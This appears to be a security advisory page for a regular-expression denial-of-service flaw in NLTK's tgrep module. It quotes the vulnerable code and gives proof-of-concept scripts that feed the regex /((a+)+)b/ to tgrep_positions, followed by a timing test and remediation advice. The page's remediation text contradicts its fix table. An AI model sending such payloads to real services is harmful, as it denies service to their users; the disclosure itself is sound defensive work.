CVE-2026-80206 — nltk
Fix: nltk/nltk@0072ea2CVE-2026-80206 is a CWE-1333 vulnerability in nltk. A fix is available for nltk — see the affected versions and patch details below.
NLTK 3.10.2 Regular Expression Denial of Service via tgrep
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-80206.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
nltkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.
Affected Code
nltk/tgrep.py — _tgrep_node_action() (around line 320)
When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:
def _tgrep_node_action(_s, _l, tokens):
...
elif tokens[0].startswith("/"):
assert tokens[0].endswith("/")
node_lit = tokens[0][1:-1]
return (
lambda r: lambda n, m=None, l=None: r.search(
_tgrep_node_literal_value(n)
)
)(re.compile(node_lit)) # User regex compiled and executed with no timeout
The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.
Proof of Concept
import nltk
from nltk.tgrep import tgrep_positions
# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns
Working Poc
The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.
import nltk
from nltk.tgrep import tgrep_positions
import time
def test_n(n):
tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
pattern = r"/((a+)+)b/"
start = time.perf_counter()
list(tgrep_positions(pattern, [tree]))
return time.perf_counter() - start
if __name__ == "__main__":
# Adjust the range if needed – these values complete quickly
n_values = [18, 20, 22, 24, 26, 28]
print(f"Testing n = {n_values}\n")
times = []
for n in n_values:
t = test_n(n)
times.append((n, t))
print(f"n={n:2d} done", flush=True)
print("\n--- Increase factors (per step in n) ---")
factors = []
for i in range(1, len(times)):
prev_n, prev_t = times[i-1]
curr_n, curr_t = times[i]
factor = curr_t / prev_t
factors.append((curr_n, factor))
print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})")
avg = sum(f for _, f in factors) / len(factors)
print(f"\nAverage factor: {avg:.2f}x")
print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
print(" Larger n (≥ 35) will hang indefinitely.")
When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.
Impact
In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.
Remediation
This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.
Credit
Tool: Kira by Offgrid Security
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nltk | all versions | 3.10.3pip install --upgrade 'nltk==3.10.3' |
Affected Products
nltknltkDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nltk to 3.10.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-80206 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in NLTK's tgrep module within the _tgrep_node_action function. When processing user-supplied regular expressions inside /regex/ pattern nodes via functions such as tgrep_positions() or tgrep_compile(), NLTK executes re.search without input…
Sanitize or restrict external input passed to NLTK's tgrep compilation functions to prevent execution of untrusted regular expressions, or enforce application-level timeouts using process isolation/multiprocessing wrappers to restrict CPU consumption.Source: Red Hat security advisory for CVE-2026-80206 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-80206 in your dependencies?
Find it across PyPI, including transitive dependencies.